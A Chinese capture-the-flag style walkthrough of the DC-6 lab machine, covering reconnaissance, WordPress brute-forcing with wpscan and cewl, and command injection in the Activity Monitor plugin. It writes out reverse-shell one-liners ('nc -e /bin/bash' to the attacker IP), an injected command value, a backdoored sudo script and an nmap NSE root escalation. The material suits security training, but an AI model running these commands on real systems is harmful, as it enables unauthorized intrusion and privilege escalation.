大家也是好久不见,休息了一周,今天也是给大家继续带来渗透测试靶机DC-6的详细横向以及渗透过程;
明天不出意外的话给大家写一篇Linux的应急响应靶机的文章;
文章目录
-
- 网络配置
- 信息收集
-
- 一、问题解决:wordy服务无法访问?
- 问题原因:
-
- (1)现象拆解(为什么会这样)
- [(2)访问 `http://wordy/\` 后发生了什么?](#(2)访问
http://wordy/后发生了什么?) - [(3)致命错误在 `/etc/hosts`](#(3)致命错误在
/etc/hosts)
- 二、问题解决
-
- [第一步:只保留一个 `wordy` 映射(指向 192.168.56.110)](#第一步:只保留一个
wordy映射(指向 192.168.56.110)) - 第二步:验证解析是否正确
- 第三步:重新访问(推荐方式)
- [第一步:只保留一个 `wordy` 映射(指向 192.168.56.110)](#第一步:只保留一个
- 使用框架:Wordpress
- Web目录枚举
- Web漏洞利用:wordpress后台密码
- 提权
- 总结
网络配置
还是老样子,我们还是将
VirtualBox的DC-6靶机与Vmware的Kali主机进行网络连通性的设置;
DC-6网络设置
首先我们点击靶机 ---> 选择设置 ---> 网络 ---> 仅主机网络:

随后将网络配置为192.168.56.0/24网段的IP地址:

这里靶机DC-6的网络配置就好了;
接下来我们配置Kali的 ---> 虚拟网络编辑器 ---> 新建一个NAT网卡 ---> 配置192.168.56.0/24网段:

随后我们打开kali,输入命令ifconfig,查看是否配置成功:
这里需要
先打开VirtualBox的靶机,否则可能会出现网络不显示的情况:
如图所示:

Kali主机网络成功配置,可以看到也是56网段了;
信息收集
然后我们就对目标网段192.168.56.0/24进行信息收集(因为此时我们不知道目标主机的具体IP地址是什么):
bash
nmap -sP 192.168.56.0/24
这时候我们得到两个IP地址,究竟哪一个是真正的目标主机?

我们可以用ping IP地址 的方法来进行验证:

所以我们可以确定目标主机的网络为192.168.56.110
接下来我们需要查看目标主机开放了哪些服务以及端口:
bash
# 详细信息收集
nmap -sC -sV -A -T4 192.168.56.110

可以看到开放的是http服务以及ssh服务(真实生产中对外开放很危险);
接下来我们就去访问目标主机,查看他的Web服务搭建了什么框架或者使用了哪些可利用的中间件:
一、问题解决:wordy服务无法访问?
我们访问网址 http://192.168.56.110/,发现失败?

这个时候就需要去kali的/etc/hosts文件去设置一下DNS本地解析:
关于什么是DNS本地解析以及它的原理,具体可以看Kioptrix3靶机多种方法渗透提权(手把手详细教程)这篇文章;
我之前将其进行修改为:

修改后,尝试继续访问http://192.168.56.110/,**还是不行。。。**
尝试检测所用的中间件:

问题原因:
这个现象不是 Web 服务挂了 ,而是一个典型的「域名 + 虚拟主机(vhost)+ hosts 解析冲突」问题 ,而且你现在的 /etc/hosts 确实配错了,所以浏览器被"带偏"了。
(1)现象拆解(为什么会这样)
text
http://192.168.56.110/ → 301 → RedirectLocation[http://wordy/]
- 192.168.56.110 上的 Apache
- 配置了 强制跳转到域名
wordy
(2)访问 http://wordy/ 后发生了什么?
text
http://wordy/ [200 OK]
HTTPServer[nginx/1.24.0]
IP[192.168.44.146]
Title[Apache2 Debian Default Page: It works]
⚠️ 关键点:
wordy被解析到了 192.168.44.146(kali地址)- 但真正想访问的是 192.168.56.110(目标地址)
- 结果进的是 另一张网卡 / 另一台机器 / 另一套 nginx
(3)致命错误在 /etc/hosts
现在的 hosts:
text
192.168.56.102 wordy
192.168.44.146 wordy
❌ 这是错误的
原因:
- 同一个域名
wordy - 被绑定到了 两个不同 IP
- Linux 解析时命中顺序不可控
- 浏览器 / curl / whatweb 可能解析到任意一个
二、问题解决
第一步:只保留一个 wordy 映射(指向 192.168.56.110)
编辑 /etc/hosts:
bash
vim /etc/hosts
改成下面这样:

使其指向目标主机192.168.56.110地址
第二步:验证解析是否正确
bash
getent hosts wordy
# 正确结果应该是:
192.168.56.110 wordy
如果不是,说明 hosts 还没改干净。

成功解析;
第三步:重新访问(推荐方式)
bash
# 直接用域名访问:
curl -I http://wordy/
# 或浏览器直接访问:
http://wordy/
正确结果如下:

使用框架:Wordpress
随后我们探测目标网站使用了什么框架:

发现此web框架采用WordPress CMS
当然还可以使用插件进行收集信息:

Web目录枚举
然后我们使用dirsearch对目标网址进行目录枚举:
bash
python dirsearch.py -u http://192.168.56.110
# 只要200,301等响应码
python dirsearch.py -u http://192.168.56.110 -i 200,301,302 -x 404,503
得到结果如下:

| 类型 | 路径 | 状态码 | 价值说明 |
|---|---|---|---|
| 站点入口 | /index.php | 200 | 网站首页,可分析主题、插件痕迹,判断站点结构 |
| 版本信息 | /readme.html |
200 | 可能直接泄露 WordPress 版本号(重点) |
| 版本信息 | /license.txt |
200 | 确认 WordPress 类型,辅助版本识别 |
| 登录入口 | /wp-login.php | 200 | WordPress 登录页面,可进行用户名枚举、弱口令测试 |
| 后台入口 | /wp-admin/ | 302 | 后台路径存在,跳转至登录页 |
| 初始化风险 | /wp-admin/install.php |
200 | 高危,可能允许重新安装或泄露数据库信息 |
| 初始化配置 | /wp-admin/setup-config.php | 500 | 初始化配置脚本,可能触发错误信息泄露 |
| 核心配置 | /wp-config.php |
200 | 异常可访问,极高价值目标,应重点验证 |
| 远程接口 | /xmlrpc.php | 405 | XML-RPC 接口存在,可用于用户名枚举、爆破 |
| 内容目录 | /wp-content/ | 200 | 插件与主题目录,后续漏洞利用关键 |
| 核心目录 | /wp-includes/ |
200 | WordPress 核心文件目录,辅助版本与漏洞分析 |
| 定时任务 | /wp-cron.php | 200 | 定时任务接口,可用于触发任务或 DoS 测试 |
Web漏洞利用:wordpress后台密码
泄露敏感信息:接下来我们要寻找是否有登陆的账号以及密码
方法 :author 枚举(最经典)
总体思路:
(1)将扫描出的五个用户存到文本user.txt
(2)使用密码本爆破:wpscan --url http://wordy -P user.txt -U password.txt
(3)这里缺密码怎么办?之前用到的工具是
Cewl进行爬取从而得到密码字典,这里也可以试试
1. 将扫描出的五个用户存到文本user.txt
bash
wpscan --url http://wordy --enumerate u
# 输出示例:
[+] admin
[+] editor
得到结果:


成功枚举出五位用户的信息,并保存到记事本当中;

2. Cewl进行爬取网址密码
- 密码爬取:cewl http://wordy

成功得到一些密码,保存为passwds.txt ,然后使用WPScan进行网站登录爆破
ps:根据作者的提示,从密码字典当中保存以下密码,可节省时间

成功生成文件:passwords.txt

3. 使用密码本爆破
然后再用wpscan进行爆破:
bash
wpscan --url http://wordy -P user.txt -U passwords.txt

经过十几分钟的等待,终于得到了结果:

账号:mark
密码: helpdesk01
登陆系统

随后熟悉一下系统,并查找可能存在的漏洞:

随后发现后台除了一些用户以及评论外,还下载了两个插件,就去网上查找关键词:Activity Monitor的历史漏洞

发现在tools页面,存在一个命令执行的框:(具体可以看我的CTF命令执行部分)
输入命令后发现有长度限制

点击Intercept on开启抓包,随后输入命令whoami,放包:

随后依次点击页面的按钮:

反弹shell
所以我们用同样的方法反弹shell:
bash
# 连接kali的8888端口
127.0.0.1 | nc -e /bin/bash 192.168.56.102 8888

点击页面第三个按钮lookup,进行连接:

成功反弹一个会话:

提权
进入会话后,我就用sudo -l 寻找有哪些可疑的文件或者目录:

发现了之前wpscan尝试爆破的用户名;
于是就进入到/home 目录依次寻找:

发现:
- 在jen用户下发现一个backups.sh脚本文件:

- 在mark用户里发现一个新用户:

别忘了之前用nmap扫描的时候,80和22服务是开放的;
所以尝试用ssh登陆一下这个用户:graham / GSo7isUM1D4
bash
ssh graham@192.168.56.110 -p 22

成功登陆;
同样在**/home** 目录下发现四个用户,依次进行查看:

(结果与之前一致)
SUID提权
输入命令:
bash
find / -perm -u=s -type f 2>/dev/null

不存在可利用的应用程序或者低版本的内核漏洞;
SUDO提权
输入命令sudo -l 发现了一点东西:

作用 :核心是说明:graham可以以jens用户的身份 ,无需输入密码 (NOPASSWD),执行/home/jens/backups.sh这个脚本。
反弹jens用户的shell
所以我们可利用这个脚本来反弹一个jens用户的shell:
bash
# 还是在kali机器的6666端口
echo "nc -e /bin/bash 192.168.56.102 6666" >> backups.sh

成功添加命令;
(1)再打开kali的监听:

(2)然后在graham用户里以jens的身份运行该文件
bash
sudo -u jens ./backups.sh

随后还是输入命令sudo -l 成功发现一个以root用户执行的程序:namp
nmap提权
接下来就是利用nmap进行提权:
bash
# 首先创建一个脚本
touch root_shell.sh
echo 'os.execute("/bin/sh")' > root_shell.sh
sudo nmap --script=root_shell.sh

随后也是得到了flag:

总结
本次靶机主要是通过将wordy映射到kali上使其可以访问到相应的域名;随后利用wordpress的漏洞来进行wpscan扫描;最后进入到系统反弹shell,获取root权限;
期待下次再见;


